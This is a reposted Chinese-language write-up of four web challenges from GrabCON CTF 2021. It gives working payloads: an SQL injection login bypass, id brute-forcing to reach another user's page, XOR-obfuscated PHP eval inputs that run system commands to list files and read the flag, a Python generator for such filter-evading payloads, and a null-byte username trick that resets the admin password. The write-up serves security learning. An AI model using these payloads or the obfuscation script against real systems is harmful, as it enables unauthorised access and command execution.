GrabCON CTF 2021 Web
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了GrabCON CTF 2021 Web相关的知识,希望对你有一定的参考价值。
GrabCON CTF 2021 Web
E4sy Pe4sy
题目描述
Hack admin user!
解题思路
- 找到登录处尝试利用万能密码进行登录,发现密码处存在万能密码登录
admin:admin' or 1=1#
- 登录后即可拿到 FLAG
Door Lock
题目描述
The door is open to all! See who is behind the admin door??
解题思路
- 注册账号后登录后台,注意到
http://34.135.171.18/profile/index.php?id=1460
后面跟着的id
,联想到题目描述,尝试爆破id
的数值,在id
数值为1766
的页面中成功找到 FLAG
Basic Calc
题目描述
Ever used calc based on php?
解题思路
- 题目给出部分源码
<h2>Welcome to da Basic Calc</h2>
<form action="/" method="POST">
Enter da equation : <br>
<input type="text" name="eq"><br>
</form>
<?php
if (isset($_POST["eq"]))
$eq = $_POST["eq"];
if(preg_match("/[A-Za-z`]+/",$eq))
die("BAD.");
echo "Result: ";
eval("echo " . $eq . " ;");
else
echo highlight_file('index.php',true);
?>
- 由于过滤掉了大小写字母无法直接执行命令,这里采用异或方式利用未被过滤的字符来获取字母从而绕过正则过滤
- 先查看一下根目录下的文件
("system")("ls /")=(('3'^'@').('9'^'@').('3'^'@').('4'^'@').('8'^']').('2'^'_'))(('1'^']').('3'^'@').('^'^'~').'/')
- 获取 FLAG
("system")("cat /flagggg.txt")=(('3'^'@').('9'^'@').('3'^'@').('4'^'@').('8'^']').('2'^'_'))(('8'^'[').('!'^'@').('4'^'@').('^'^'~').'/'.('8'^'^').('1'^']').('!'^'@').('8'^'_').('8'^'_').('8'^'_').('8'^'_').'.'.('4'^'@').('8'^'@').('4'^'@'))
- 贴一下异或脚本
# string_code = ['system','ls /']
string_code = ['system','cat /flagggg.txt']
obfuscated_code = ""
charset = "1234567890!#$%&'()*+/^,-.:;<=>?@[]_|~"
for code in string_code:
obfuscated = ""
for i in code:
is_found_obfuscated = False
for j in charset:
for k in charset:
if ord(j)^ord(k) == ord(i):
is_found_obfuscated = True
obfuscated += ".('%s'^'%s')" % (j, k)
#print("XOR ="+chr(ord(j)^ord(k)))
if is_found_obfuscated:
break
if is_found_obfuscated:
break
if not is_found_obfuscated:
obfuscated += ".'%s'" % i
#print("(%s) = (%s)" % (code, obfuscated[1:]))
obfuscated_code += "(%s)" % obfuscated[1:]
print(''.join(["(\\"%s\\")" % i for i in string_code]) + '=' + obfuscated_code)
Null Food Factory
题目描述
Prove your hacking skill to get admin panel.
解题思路
- 依旧还是之前的SQL注入题目,尝试一些方法都没有效果后,注意到
NUll
字眼,搜索相关的SQL注入利用方式发现一种叫做空字符
注入的方法,参考漏洞说明- 注册一个用户名为
admin%00
的用户,发现admin
的密码更新成ic8aGsk^bh
- 用得到的密码进行登录
admin:ic8aGsk^bh
,成功拿到 FLAG
以上是关于GrabCON CTF 2021 Web的主要内容,如果未能解决你的问题,请参考以下文章
Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)
Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)